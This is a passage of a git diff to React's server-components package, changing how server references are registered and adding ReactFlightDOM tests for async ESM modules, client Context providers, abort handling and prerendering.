     const args = ArraySlice.call(arguments, 1);
-    return Object.defineProperties((newFn: any), {
-      $$typeof: {value: SERVER_REFERENCE_TAG},
-      $$id: {value: this.$$id},
-      $$bound: {value: this.$$bound ? this.$$bound.concat(args) : args},
-      bind: {value: bind},
-    });
+    const $$typeof = {value: SERVER_REFERENCE_TAG};
+    const $$id = {value: this.$$id};
+    const $$bound = {value: this.$$bound ? this.$$bound.concat(args) : args};
+    return Object.defineProperties(
+      (newFn: any),
+      (__DEV__
+        ? {
+            $$typeof,
+            $$id,
+            $$bound,
+            $$location: {
+              value: this.$$location,
+              configurable: true,
+            },
+            bind: {value: bind, configurable: true},
+          }
+        : {
+            $$typeof,
+            $$id,
+            $$bound,
+            bind: {value: bind, configurable: true},
+          }) as PropertyDescriptorMap,
+    );
   }
   return newFn;
 }
 
+const serverReferenceToString = {
+  value: () => 'function () { [omitted code] }',
+  configurable: true,
+  writable: true,
+};
+
 export function registerServerReference<T: Function>(
   reference: T,
   id: string,
   exportName: null | string,
 ): ServerReference<T> {
-  return Object.defineProperties((reference: any), {
-    $$typeof: {value: SERVER_REFERENCE_TAG},
-    $$id: {
-      value: exportName === null ? id : id + '#' + exportName,
-      configurable: true,
-    },
-    $$bound: {value: null, configurable: true},
-    bind: {value: bind, configurable: true},
-  });
+  const $$typeof = {value: SERVER_REFERENCE_TAG};
+  const $$id = {
+    value: exportName === null ? id : id + '#' + exportName,
+    configurable: true,
+  };
+  const $$bound = {value: null, configurable: true};
+  return Object.defineProperties(
+    (reference: any),
+    __DEV__
+      ? ({
+          $$typeof,
+          $$id,
+          $$bound,
+          $$location: {
+            value: Error('react-stack-top-frame'),
+            configurable: true,
+          },
+          bind: {value: bind, configurable: true},
+          toString: serverReferenceToString,
+        } as PropertyDescriptorMap)
+      : ({
+          $$typeof,
+          $$id,
+          $$bound,
+          bind: {value: bind, configurable: true},
+          toString: serverReferenceToString,
+        } as PropertyDescriptorMap),
+  );
 }
 
 const PROMISE_PROTOTYPE = Promise.prototype;
 
-const deepProxyHandlers = {
+const deepProxyHandlers: Proxy$traps<mixed> = {
   get: function (
     target: Function,
     name: string | symbol,
@@ -126,6 +169,9 @@ const deepProxyHandlers = {
       // reference.
       case 'defaultProps':
         return undefined;
+      // React looks for debugInfo on thenables.
+      case '_debugInfo':
+        return undefined;
       // Avoid this attempting to be serialized.
       case 'toJSON':
         return undefined;
@@ -136,10 +182,14 @@ const deepProxyHandlers = {
         // $FlowFixMe[prop-missing]
         return Object.prototype[Symbol.toStringTag];
       case 'Provider':
+        // Context.Provider === Context in React, so return the same reference.
+        // This allows server components to render <ClientContext.Provider>
+        // which will be serialized and executed on the client.
+        return receiver;
+      case 'then':
         throw new Error(
-          `Cannot render a Client Context Provider on the Server. ` +
-            `Instead, you can export a Client Component wrapper ` +
-            `that itself renders a Client Context Provider.`,
+          `Cannot await or return from a thenable. ` +
+            `You cannot await a client module from a server component.`,
         );
     }
     // eslint-disable-next-line react-internal/safe-string-coercion
@@ -170,6 +220,9 @@ function getReference(target: Function, name: string | symbol): $FlowFixMe {
     // reference.
     case 'defaultProps':
       return undefined;
+    // React looks for debugInfo on thenables.
+    case '_debugInfo':
+      return undefined;
     // Avoid this attempting to be serialized.
     case 'toJSON':
       return undefined;
diff --git a/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOM-test.js b/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOM-test.js
index 3bf8e02e0f68..4abc18843050 100644
--- a/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOM-test.js
+++ b/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOM-test.js
@@ -10,6 +10,7 @@
 'use strict';
 
 import {patchSetImmediate} from '../../../../scripts/jest/patchSetImmediate';
+import {Readable} from 'stream';
 
 // Polyfills for test environment
 global.ReadableStream =
@@ -18,8 +19,10 @@ global.TextEncoder = require('util').TextEncoder;
 global.TextDecoder = require('util').TextDecoder;
 
 let act;
+let serverAct;
 let use;
 let clientExports;
+let clientExportsESM;
 let clientModuleError;
 let webpackMap;
 let Stream;
@@ -28,14 +31,12 @@ let React;
 let FlightReactDOM;
 let ReactDOMClient;
 let ReactServerDOMServer;
+let ReactServerDOMStaticServer;
 let ReactServerDOMClient;
 let ReactDOMFizzServer;
-let ReactDOMStaticServer;
 let Suspense;
 let ErrorBoundary;
 let JSDOM;
-let ReactServerScheduler;
-let reactServerAct;
 let assertConsoleErrorDev;
 
 describe('ReactFlightDOM', () => {
@@ -45,11 +46,13 @@ describe('ReactFlightDOM', () => {
     // condition
     jest.resetModules();
 
+    // Some of the tests pollute the head.
+    document.head.innerHTML = '';
+
     JSDOM = require('jsdom').JSDOM;
 
-    ReactServerScheduler = require('scheduler');
-    patchSetImmediate(ReactServerScheduler);
-    reactServerAct = require('internal-test-utils').act;
+    patchSetImmediate();
+    serverAct = require('internal-test-utils').serverAct;
 
     // Simulate the condition resolution
     jest.mock('react', () => require('react/react.react-server'));
@@ -57,14 +60,19 @@ describe('ReactFlightDOM', () => {
     FlightReactDOM = require('react-dom');
 
     jest.mock('react-server-dom-webpack/server', () =>
-      require('react-server-dom-webpack/server.node.unbundled'),
+      require('react-server-dom-unbundled/server.node'),
+    );
+    jest.mock('react-server-dom-webpack/static', () =>
+      require('react-server-dom-unbundled/static.node'),
     );
     const WebpackMock = require('./utils/WebpackMock');
     clientExports = WebpackMock.clientExports;
+    clientExportsESM = WebpackMock.clientExportsESM;
     clientModuleError = WebpackMock.clientModuleError;
     webpackMap = WebpackMock.webpackMap;
 
     ReactServerDOMServer = require('react-server-dom-webpack/server');
+    ReactServerDOMStaticServer = require('react-server-dom-webpack/static');
 
     // This reset is to load modules for the SSR/Browser scope.
     jest.unmock('react-server-dom-webpack/server');
@@ -79,7 +87,6 @@ describe('ReactFlightDOM', () => {
     Suspense = React.Suspense;
     ReactDOMClient = require('react-dom/client');
     ReactDOMFizzServer = require('react-dom/server.node');
-    ReactDOMStaticServer = require('react-dom/static.node');
     ReactServerDOMClient = require('react-server-dom-webpack/client');
 
     ErrorBoundary = class extends React.Component {
@@ -99,17 +106,6 @@ describe('ReactFlightDOM', () => {
     };
   });
 
-  async function serverAct(callback) {
-    let maybePromise;
-    await reactServerAct(() => {
-      maybePromise = callback();
-      if (maybePromise && typeof maybePromise.catch === 'function') {
-        maybePromise.catch(() => {});
-      }
-    });
-    return maybePromise;
-  }
-
   async function readInto(
     container: Document | HTMLElement,
     stream: ReadableStream,
@@ -160,6 +156,23 @@ describe('ReactFlightDOM', () => {
     };
   }
 
+  function createUnclosingStream(
+    stream: ReadableStream<Uint8Array>,
+  ): ReadableStream<Uint8Array> {
+    const reader = stream.getReader();
+
+    const s = new ReadableStream({
+      async pull(controller) {
+        const {done, value} = await reader.read();
+        if (!done) {
+          controller.enqueue(value);
+        }
+      },
+    });
+
+    return s;
+  }
+
   const theInfinitePromise = new Promise(() => {});
   function InfiniteSuspend() {
     throw theInfinitePromise;
@@ -181,7 +194,10 @@ describe('ReactFlightDOM', () => {
             node.tagName !== 'TEMPLATE' &&
             node.tagName !== 'template' &&
             !node.hasAttribute('hidden') &&
-            !node.hasAttribute('aria-hidden'))
+            !node.hasAttribute('aria-hidden') &&
+            // Ignore the render blocking expect
+            (node.getAttribute('rel') !== 'expect' ||
+              node.getAttribute('blocking') !== 'render'))
         ) {
           const props = {};
           const attributes = node.attributes;
@@ -206,8 +222,8 @@ describe('ReactFlightDOM', () => {
     return children.length === 0
       ? undefined
       : children.length === 1
-      ? children[0]
-      : children;
+        ? children[0]
+        : children;
   }
 
   it('should resolve HTML using Node streams', async () => {
@@ -573,6 +589,107 @@ describe('ReactFlightDOM', () => {
     expect(container.innerHTML).toBe('<p>Async Text</p>');
   });
 
+  it('should unwrap async ESM module references', async () => {
+    const AsyncModule = Promise.resolve(function AsyncModule({text}) {
+      return 'Async: ' + text;
+    });
+
+    const AsyncModule2 = Promise.resolve({
+      exportName: 'Module',
+    });
+
+    function Print({response}) {
+      return <p>{use(response)}</p>;
+    }
+
+    function App({response}) {
+      return (
+        <Suspense fallback={<h1>Loading...</h1>}>
+          <Print response={response} />
+        </Suspense>
+      );
+    }
+
+    const AsyncModuleRef = await clientExportsESM(AsyncModule);
+    const AsyncModuleRef2 = await clientExportsESM(AsyncModule2);
+
+    const {writable, readable} = getTestStream();
+    const {pipe} = await serverAct(() =>
+      ReactServerDOMServer.renderToPipeableStream(
+        <AsyncModuleRef text={AsyncModuleRef2.exportName} />,
+        webpackMap,
+      ),
+    );
+    pipe(writable);
+    const response = ReactServerDOMClient.createFromReadableStream(readable);
+
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(<App response={response} />);
+    });
+    expect(container.innerHTML).toBe('<p>Async: Module</p>');
+  });
+
+  it('should error when a bundler uses async ESM modules with createClientModuleProxy', async () => {
+    const AsyncModule = Promise.resolve(function AsyncModule() {
+      return 'This should not be rendered';
+    });
+
+    function Print({response}) {
+      return <p>{use(response)}</p>;
+    }
+
+    function App({response}) {
+      return (
+        <ErrorBoundary
+          fallback={error => (
+            <p>
+              {__DEV__ ? error.message + ' + ' : null}
+              {error.digest}
+            </p>
+          )}>
+          <Suspense fallback={<h1>Loading...</h1>}>
+            <Print response={response} />
+          </Suspense>
+        </ErrorBoundary>
+      );
+    }
+
+    const AsyncModuleRef = await clientExportsESM(AsyncModule, {
+      forceClientModuleProxy: true,
+    });
+
+    const {writable, readable} = getTestStream();
+    const {pipe} = await serverAct(() =>
+      ReactServerDOMServer.renderToPipeableStream(
+        <AsyncModuleRef />,
+        webpackMap,
+        {
+          onError(error) {
+            return __DEV__ ? 'a dev digest' : `digest(${error.message})`;
+          },
+        },
+      ),
+    );
+    pipe(writable);
+    const response = ReactServerDOMClient.createFromReadableStream(readable);
+
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(<App response={response} />);
+    });
+
+    const errorMessage = `The module "${Object.keys(webpackMap).at(0)}" is marked as an async ESM module but was loaded as a CJS proxy. This is probably a bug in the React Server Components bundler.`;
+
+    expect(container.innerHTML).toBe(
+      __DEV__
+        ? `<p>${errorMessage} + a dev digest</p>`
+        : `<p>digest(${errorMessage})</p>`,
+    );
+  });
+
   it('should be able to import a name called "then"', async () => {
     const thenExports = {
       then: function then() {
@@ -623,6 +740,20 @@ describe('ReactFlightDOM', () => {
     );
   });
 
+  it('throws when await a client module prop of client exports', async () => {
+    const ClientModule = clientExports({
+      Component: {deep: 'thing'},
+    });
+    async function awaitExport() {
+      const mod = await ClientModule;
+      return await Promise.resolve(mod.Component);
+    }
+    await expect(awaitExport()).rejects.toThrowError(
+      `Cannot await or return from a thenable. ` +
+        `You cannot await a client module from a server component.`,
+    );
+  });
+
   it('throws when accessing a symbol prop from client exports', () => {
     const symbol = Symbol('test');
     const ClientModule = clientExports({
@@ -656,7 +787,7 @@ describe('ReactFlightDOM', () => {
     <ClientModule.Component key="this adds instrumentation" />;
   });
 
-  it('throws when accessing a Context.Provider below the client exports', () => {
+  it('does not throw when accessing a Context.Provider from client exports', () => {
     const Context = React.createContext();
     const ClientModule = clientExports({
       Context,
@@ -664,11 +795,60 @@ describe('ReactFlightDOM', () => {
     function dotting() {
       return ClientModule.Context.Provider;
     }
-    expect(dotting).toThrowError(
-      `Cannot render a Client Context Provider on the Server. ` +
-        `Instead, you can export a Client Component wrapper ` +
-        `that itself renders a Client Context Provider.`,
+    expect(dotting).not.toThrowError();
+  });
+
+  it('can render a client Context.Provider from a server component', async () => {
+    // Create a context in a client module
+    const TestContext = React.createContext('default');
+    const ClientModule = clientExports({
+      TestContext,
+    });
+
+    // Client component that reads context
+    function ClientConsumer() {
+      const value = React.useContext(TestContext);
+      return <span>{value}</span>;
+    }
+    const {ClientConsumer: ClientConsumerRef} = clientExports({ClientConsumer});
+
+    function Print({response}) {
+      return use(response);
+    }
+
+    function App({response}) {
+      return (
+        <Suspense fallback={<h1>Loading...</h1>}>
+          <Print response={response} />
+        </Suspense>
+      );
+    }
+
+    // Server component that provides context
+    function ServerApp() {
+      return (
+        <ClientModule.TestContext.Provider value="from-server">
+          <div>
+            <ClientConsumerRef />
+          </div>
+        </ClientModule.TestContext.Provider>
+      );
+    }
+
+    const {writable, readable} = getTestStream();
+    const {pipe} = await serverAct(() =>
+      ReactServerDOMServer.renderToPipeableStream(<ServerApp />, webpackMap),
     );
+    pipe(writable);
+    const response = ReactServerDOMClient.createFromReadableStream(readable);
+
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(<App response={response} />);
+    });
+
+    expect(container.innerHTML).toBe('<div><span>from-server</span></div>');
   });
 
   it('should progressively reveal server components', async () => {
@@ -1238,6 +1418,95 @@ describe('ReactFlightDOM', () => {
     expect(reportedErrors).toEqual([]);
   });
 
+  it('should not retain stale error reason after reentrant module chunk initialization', async () => {
+    function MyComponent() {
+      return <div>hello from client component</div>;
+    }
+    const ClientComponent = clientExports(MyComponent);
+
+    let resolveAsyncComponent;
+    async function AsyncComponent() {
+      await new Promise(r => {
+        resolveAsyncComponent = r;
+      });
+      return null;
+    }
+
+    function ServerComponent() {
+      return (
+        <>
+          <ClientComponent />
+          <Suspense>
+            <AsyncComponent />
+          </Suspense>
+        </>
+      );
+    }
+
+    const {writable: flightWritable, readable: flightReadable} =
+      getTestStream();
+    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();
+
+    const {pipe} = await serverAct(() =>
+      ReactServerDOMServer.renderToPipeableStream(
+        <ServerComponent />,
+        webpackMap,
+      ),
+    );
+    pipe(flightWritable);
+
+    let response = null;
+    function getResponse() {
+      if (response === null) {
+        response =
+          ReactServerDOMClient.createFromReadableStream(flightReadable);
+      }
+      return response;
+    }
+
+    // Simulate a module that calls captureOwnerStack() during evaluation.
+    // In Fizz SSR, this causes a reentrant readChunk on the same module chunk.
+    // The reentrant require throws a TDZ error.
+    let evaluatingModuleId = null;
+    const origRequire = global.__webpack_require__;
+    global.__webpack_require__ = function (id) {
+      if (id === evaluatingModuleId) {
+        throw new ReferenceError(
+          "Cannot access 'MyComponent' before initialization",
+        );
+      }
+      const result = origRequire(id);
+      if (result === MyComponent) {
+        evaluatingModuleId = id;
+        if (__DEV__) {
+          React.captureOwnerStack();
+        }
+        evaluatingModuleId = null;
+      }
+      return result;
+    };
+
+    function App() {
+      return use(getResponse());
+    }
+
+    await serverAct(async () => {
+      ReactDOMFizzServer.renderToPipeableStream(<App />).pipe(fizzWritable);
+    });
+
+    global.__webpack_require__ = origRequire;
+
+    // Resolve the async component so the Flight stream closes after the client
+    // module chunk was initialized.
+    await serverAct(async () => {
+      resolveAsyncComponent();
+    });
+
+    const container = document.createElement('div');
+    await readInto(container, fizzReadable);
+    expect(container.innerHTML).toContain('hello from client component');
+  });
+
   it('should be able to recover from a direct reference erroring server-side', async () => {
     const reportedErrors = [];
 
@@ -1517,89 +1786,6 @@ describe('ReactFlightDOM', () => {
     expect(getMeaningfulChildren(container)).toEqual(<p>hello world</p>);
   });
 
-  // @gate enablePostpone
-  it('should allow postponing in Flight through a serialized promise', async () => {
-    const Context = React.createContext();
-    const ContextProvider = Context.Provider;
-
-    function Foo() {
-      const value = React.use(React.useContext(Context));
-      return <span>{value}</span>;
-    }
-
-    const ClientModule = clientExports({
-      ContextProvider,
-      Foo,
-    });
-
-    async function getFoo() {
-      React.unstable_postpone('foo');
-    }
-
-    function App() {
-      return (
-        <ClientModule.ContextProvider value={getFoo()}>
-          <div>
-            <Suspense fallback="loading...">
-              <ClientModule.Foo />
-            </Suspense>
-          </div>
-        </ClientModule.ContextProvider>
-      );
-    }
-
-    const {writable, readable} = getTestStream();
-
-    const {pipe} = await serverAct(() =>
-      ReactServerDOMServer.renderToPipeableStream(<App />, webpackMap),
-    );
-    pipe(writable);
-
-    let response = null;
-    function getResponse() {
-      if (response === null) {
-        response = ReactServerDOMClient.createFromReadableStream(readable);
-      }
-      return response;
-    }
-
-    function Response() {
-      return getResponse();
-    }
-
-    const errors = [];
-    function onError(error, errorInfo) {
-      errors.push(error, errorInfo);
-    }
-    const result = await serverAct(() =>
-      ReactDOMStaticServer.prerenderToNodeStream(<Response />, {
-        onError,
-      }),
-    );
-
-    const prelude = await new Promise((resolve, reject) => {
-      let content = '';
-      result.prelude.on('data', chunk => {
-        content += Buffer.from(chunk).toString('utf8');
-      });
-      result.prelude.on('error', error => {
-        reject(error);
-      });
-      result.prelude.on('end', () => resolve(content));
-    });
-
-    expect(errors).toEqual([]);
-    const doc = new JSDOM(prelude).window.document;
-    expect(getMeaningfulChildren(doc)).toEqual(
-      <html>
-        <head />
-        <body>
-          <div>loading...</div>
-        </body>
-      </html>,
-    );
-  });
-
   it('should support float methods when rendering in Fizz', async () => {
     function Component() {
       return <p>hello world</p>;
@@ -1790,11 +1976,29 @@ describe('ReactFlightDOM', () => {
 
     expect(content1).toEqual(
       '<!DOCTYPE html><html><head><link rel="preload" href="before1" as="style"/>' +
-        '<link rel="preload" href="after1" as="style"/></head><body><p>hello world</p></body></html>',
+        '<link rel="preload" href="after1" as="style"/>' +
+        (gate(flags => flags.enableFizzBlockingRender)
+          ? '<link rel="expect" href="#_R_" blocking="render"/>'
+          : '') +
+        '</head>' +
+        '<body><p>hello world</p>' +
+        (gate(flags => flags.enableFizzBlockingRender)
+          ? '<template id="_R_"></template>'
+          : '') +
+        '</body></html>',
     );
     expect(content2).toEqual(
       '<!DOCTYPE html><html><head><link rel="preload" href="before2" as="style"/>' +
-        '<link rel="preload" href="after2" as="style"/></head><body><p>hello world</p></body></html>',
+        '<link rel="preload" href="after2" as="style"/>' +
+        (gate(flags => flags.enableFizzBlockingRender)
+          ? '<link rel="expect" href="#_R_" blocking="render"/>'
+          : '') +
+        '</head>' +
+        '<body><p>hello world</p>' +
+        (gate(flags => flags.enableFizzBlockingRender)
+          ? '<template id="_R_"></template>'
+          : '') +
+        '</body></html>',
     );
   });
 
@@ -1863,10 +2067,109 @@ describe('ReactFlightDOM', () => {
     expect(hintRows.length).toEqual(6);
   });
 
-  it('should be able to include a client reference in printed errors', async () => {
-    const reportedErrors = [];
-
-    const ClientComponent = clientExports(function ({prop}) {
+  it('preloads resources without needing to render them', async () => {
+    function NoScriptComponent() {
+      return (
+        <p>
+          <img src="image-do-not-load" />
+          <link rel="stylesheet" href="css-do-not-load" />
+        </p>
+      );
+    }
+
+    function Component() {
+      return (
+        <div>
+          <img src="image-resource" />
+          <img
+            src="image-do-not-load"
+            srcSet="image-preload-src-set"
+            sizes="image-sizes"
+          />
+          <img src="image-do-not-load" loading="lazy" />
+          <link
+            rel="preload"
+            href="video-resource"
+            as="video"
+            media="(orientation: landscape)"
+          />
+          <link rel="modulepreload" href="module-resource" />
+          <picture>
+            <source
+              srcSet="image-not-yet-preloaded"
+              media="(orientation: portrait)"
+            />
+            <img src="image-do-not-load" />
+          </picture>
+          <noscript>
+            <NoScriptComponent />
+          </noscript>
+          <link rel="stylesheet" href="css-resource" />
+        </div>
+      );
+    }
+
+    const {writable, readable} = getTestStream();
+    const {pipe} = await serverAct(() =>
+      ReactServerDOMServer.renderToPipeableStream(<Component />, webpackMap),
+    );
+    pipe(writable);
+
+    let response = null;
+    function getResponse() {
+      if (response === null) {
+        response = ReactServerDOMClient.createFromReadableStream(readable);
+      }
+      return response;
+    }
+
+    function App() {
+      // Not rendered but use for its side-effects.
+      getResponse();
+      return (
+        <html>
+          <body>
+            <p>hello world</p>
+          </body>
+        </html>
+      );
+    }
+
+    const root = ReactDOMClient.createRoot(document);
+    await act(() => {
+      root.render(<App />);
+    });
+
+    expect(getMeaningfulChildren(document)).toEqual(
+      <html>
+        <head>
+          <link rel="preload" as="image" href="image-resource" />
+          <link
+            rel="preload"
+            as="image"
+            imagesrcset="image-preload-src-set"
+            imagesizes="image-sizes"
+          />
+          <link
+            rel="preload"
+            as="video"
+            href="video-resource"
+            media="(orientation: landscape)"
+          />
+          <link rel="modulepreload" href="module-resource" />
+          <link rel="preload" as="style" href="css-resource" />
+        </head>
+        <body>
+          <p>hello world</p>
+        </body>
+      </html>,
+    );
+  });
+
+  it('should be able to include a client reference in printed errors', async () => {
+    const reportedErrors = [];
+
+    const ClientComponent = clientExports(function ({prop}) {
       return 'This should never render';
     });
 
@@ -1980,7 +2283,8 @@ describe('ReactFlightDOM', () => {
       pipe(flightWritable);
     });
     assertConsoleErrorDev([
-      'The render was aborted by the server without a reason.',
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
     ]);
 
     const response =
@@ -2004,9 +2308,12 @@ describe('ReactFlightDOM', () => {
       ).pipe(fizzWritable);
     });
     assertConsoleErrorDev([
-      'The render was aborted by the server without a reason.',
-      'The render was aborted by the server without a reason.',
-      'The render was aborted by the server without a reason.',
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
     ]);
 
     expect(shellErrors).toEqual([]);
@@ -2070,7 +2377,8 @@ describe('ReactFlightDOM', () => {
     });
 
     assertConsoleErrorDev([
-      'The render was aborted by the server without a reason.',
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
     ]);
 
     const response =
@@ -2095,9 +2403,12 @@ describe('ReactFlightDOM', () => {
     });
 
     assertConsoleErrorDev([
-      'The render was aborted by the server without a reason.',
-      'The render was aborted by the server without a reason.',
-      'The render was aborted by the server without a reason.',
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
     ]);
 
     expect(shellErrors).toEqual([]);
@@ -2162,7 +2473,8 @@ describe('ReactFlightDOM', () => {
       pipe(flightWritable);
     });
     assertConsoleErrorDev([
-      'The render was aborted by the server without a reason.',
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
     ]);
 
     const response =
@@ -2186,9 +2498,12 @@ describe('ReactFlightDOM', () => {
       ).pipe(fizzWritable);
     });
     assertConsoleErrorDev([
-      'The render was aborted by the server without a reason.',
-      'The render was aborted by the server without a reason.',
-      'The render was aborted by the server without a reason.',
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
     ]);
 
     expect(shellErrors).toEqual([]);
@@ -2251,7 +2566,8 @@ describe('ReactFlightDOM', () => {
       pipe(flightWritable);
     });
     assertConsoleErrorDev([
-      'The render was aborted by the server without a reason.',
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
     ]);
 
     const response =
@@ -2275,9 +2591,12 @@ describe('ReactFlightDOM', () => {
       ).pipe(fizzWritable);
     });
     assertConsoleErrorDev([
-      'The render was aborted by the server without a reason.',
-      'The render was aborted by the server without a reason.',
-      'The render was aborted by the server without a reason.',
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
     ]);
 
     expect(shellErrors).toEqual([]);
@@ -2339,7 +2658,8 @@ describe('ReactFlightDOM', () => {
     });
 
     assertConsoleErrorDev([
-      'The render was aborted by the server without a reason.',
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
     ]);
 
     const response =
@@ -2363,9 +2683,12 @@ describe('ReactFlightDOM', () => {
       ).pipe(fizzWritable);
     });
     assertConsoleErrorDev([
-      'The render was aborted by the server without a reason.',
-      'The render was aborted by the server without a reason.',
-      'The render was aborted by the server without a reason.',
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
     ]);
 
     expect(shellErrors).toEqual([]);
@@ -2431,7 +2754,8 @@ describe('ReactFlightDOM', () => {
     });
 
     assertConsoleErrorDev([
-      'The render was aborted by the server without a reason.',
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
     ]);
 
     const response =
@@ -2455,8 +2779,10 @@ describe('ReactFlightDOM', () => {
       ).pipe(fizzWritable);
     });
     assertConsoleErrorDev([
-      'The render was aborted by the server without a reason.',
-      'The render was aborted by the server without a reason.',
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
     ]);
 
     expect(shellErrors).toEqual([]);
@@ -2471,4 +2797,524 @@ describe('ReactFlightDOM', () => {
       </div>,
     );
   });
+
+  it('can error synchronously after aborting without an unhandled rejection error', async () => {
+    function App() {
+      return (
+        <div>
+          <Suspense fallback={<p>loading...</p>}>
+            <ComponentThatAborts />
+          </Suspense>
+        </div>
+      );
+    }
+
+    const abortRef = {current: null};
+
+    async function ComponentThatAborts() {
+      abortRef.current();
+      throw new Error('boom');
+    }
+
+    const {writable: flightWritable, readable: flightReadable} =
+      getTestStream();
+
+    await serverAct(() => {
+      const {pipe, abort} = ReactServerDOMServer.renderToPipeableStream(
+        <App />,
+        webpackMap,
+      );
+      abortRef.current = abort;
+      pipe(flightWritable);
+    });
+
+    assertConsoleErrorDev([
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+    ]);
+
+    const response =
+      ReactServerDOMClient.createFromReadableStream(flightReadable);
+
+    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();
+
+    function ClientApp() {
+      return use(response);
+    }
+
+    const shellErrors = [];
+    await serverAct(async () => {
+      ReactDOMFizzServer.renderToPipeableStream(
+        React.createElement(ClientApp),
+        {
+          onShellError(error) {
+            shellErrors.push(error.message);
+          },
+        },
+      ).pipe(fizzWritable);
+    });
+    assertConsoleErrorDev([
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+    ]);
+
+    expect(shellErrors).toEqual([]);
+
+    const container = document.createElement('div');
+    await readInto(container, fizzReadable);
+    expect(getMeaningfulChildren(container)).toEqual(
+      <div>
+        <p>loading...</p>
+      </div>,
+    );
+  });
+
+  it('can error synchronously after aborting in a synchronous Component', async () => {
+    const rejectError = new Error('bam!');
+    const rejectedPromise = Promise.reject(rejectError);
+    rejectedPromise.catch(() => {});
+    rejectedPromise.status = 'rejected';
+    rejectedPromise.reason = rejectError;
+
+    const resolvedValue = <p>hello world</p>;
+    const resolvedPromise = Promise.resolve(resolvedValue);
+    resolvedPromise.status = 'fulfilled';
+    resolvedPromise.value = resolvedValue;
+
+    function App() {
+      return (
+        <div>
+          <Suspense fallback={<p>loading...</p>}>
+            <ComponentThatAborts />
+          </Suspense>
+          <Suspense fallback={<p>loading too...</p>}>
+            {rejectedPromise}
+          </Suspense>
+          <Suspense fallback={<p>loading three...</p>}>
+            {resolvedPromise}
+          </Suspense>
+        </div>
+      );
+    }
+
+    const abortRef = {current: null};
+
+    // This test is specifically asserting that this works with Sync Server Component
+    function ComponentThatAborts() {
+      abortRef.current();
+      throw new Error('boom');
+    }
+
+    const {writable: flightWritable, readable: flightReadable} =
+      getTestStream();
+
+    await serverAct(() => {
+      const {pipe, abort} = ReactServerDOMServer.renderToPipeableStream(
+        <App />,
+        webpackMap,
+        {
+          onError(e) {
+            console.error(e);
+          },
+        },
+      );
+      abortRef.current = abort;
+      pipe(flightWritable);
+    });
+
+    assertConsoleErrorDev([
+      'Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      'Error: bam!\n    in <stack>',
+    ]);
+
+    const response =
+      ReactServerDOMClient.createFromReadableStream(flightReadable);
+
+    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();
+
+    function ClientApp() {
+      return use(response);
+    }
+
+    const shellErrors = [];
+    await serverAct(async () => {
+      ReactDOMFizzServer.renderToPipeableStream(
+        React.createElement(ClientApp),
+        {
+          onShellError(error) {
+            shellErrors.push(error.message);
+          },
+        },
+      ).pipe(fizzWritable);
+    });
+    assertConsoleErrorDev([
+      '[Server] Error: The render was aborted by the server without a reason.' +
+        '\n    in <stack>',
+      '[Server] Error: bam!\n    in <stack>',
+    ]);
+
+    expect(shellErrors).toEqual([]);
+
+    const container = document.createElement('div');
+    await readInto(container, fizzReadable);
+    expect(getMeaningfulChildren(container)).toEqual(
+      <div>
+        <p>loading...</p>
+        <p>loading too...</p>
+        <p>hello world</p>
+      </div>,
+    );
+  });
+
+  it('can prerender', async () => {
+    let resolveGreeting;
+    const greetingPromise = new Promise(resolve => {
+      resolveGreeting = resolve;
+    });
+
+    function App() {
+      return (
+        <div>
+          <Greeting />
+        </div>
+      );
+    }
+
+    async function Greeting() {
+      await greetingPromise;
+      return 'hello world';
+    }
+
+    const {pendingResult} = await serverAct(async () => {
+      // destructure trick to avoid the act scope from awaiting the returned value
+      return {
+        pendingResult: ReactServerDOMStaticServer.prerenderToNodeStream(
+          <App />,
+          webpackMap,
+        ),
+      };
+    });
+
+    resolveGreeting();
+    const {prelude} = await pendingResult;
+
+    const response = ReactServerDOMClient.createFromReadableStream(
+      Readable.toWeb(prelude),
+    );
+
+    const {writable: fizzWritable, readable: fizzReadable} = getTestStream();
+
+    function ClientApp() {
+      return use(response);
+    }
+
+    const shellErrors = [];
+    await serverAct(async () => {
+      ReactDOMFizzServer.renderToPipeableStream(
+        React.createElement(ClientApp),
+        {
+          onShellError(error) {
